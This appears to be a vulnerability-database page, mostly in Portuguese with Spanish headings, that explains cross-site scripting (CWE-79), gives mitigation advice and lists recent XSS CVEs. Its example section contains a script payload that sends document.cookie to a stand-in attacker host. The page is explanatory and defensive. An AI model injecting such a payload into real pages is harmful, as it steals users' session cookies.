Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-95866HIGHUser Profile Builder <= 4.0.2 - Unauthenticated Stored Cross-Site Scripting via Avatar FieldEPSS 0.3%CVE-2025-66563HIGHMonkeytype vulnerable to stored XSS in approve quotes pageEPSS 0.3%CVE-2025-26896MEDIUMWordPress PiwigoPress plugin <= 2.33 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-50020MEDIUMWordPress RDFa Breadcrumb plugin <= 2.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-2804MEDIUMtagDiv Composer <= 5.3 - Reflected Cross-Site Scripting via 'account_id' and 'account_username'EPSS 0.3%CVE-2021-3841MEDIUMStored Cross-site Scripting (XSS) in sylius/syliusEPSS 0.3%CVE-2024-51507MEDIUMTiki through 27.0 allows users who have certain permissions to insert a "Create/Edit External Wiki" stored XSS payload in the Name.EPSS 0.3%CVE-2025-50014MEDIUMWordPress PDPA Consent for Thailand plugin <= 1.1.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-50023MEDIUMWordPress CodePen Embed Block plugin <= 1.2.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-25802HIGHNew API has Potential XSS in its MarkdownRenderer componentEPSS 0.3%CVE-2026-81201MEDIUMMonster Menus - Moderately critical - Cross-site Scripting - SA-CONTRIB-2026-116EPSS 0.3%CVE-2025-26887MEDIUMWordPress EZ SQL Reports Shortcode Widget and DB Backup plugin <= 5.21.35 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22648MEDIUMWordPress Blog, Posts and Category Filter for Elementor plugin <= 2.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-6460MEDIUMDisplay During Conditional Shortcode <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via message ParameterEPSS 0.3%CVE-2025-26939MEDIUMWordPress Counters Block plugin <= 1.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-26893MEDIUMWordPress Easy Charts plugin <= 1.2.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22660MEDIUMWordPress Include Mastodon Feed plugin <= 1.9.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-10332MEDIUMA Cross-Site Scripting vulnerability has been found in Janto v4.3r11 from Impronta. This vulnerability allows an attacker to execute JavaScrEPSS 0.3%CVE-2025-1773MEDIUMTraveler <= 3.1.8 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-27693MEDIUMDell Wyse Management Suite, versions prior to WMS 5.1, contains an Improper Neutralization of Input During Web Page Generation ('Cross-site EPSS 0.3%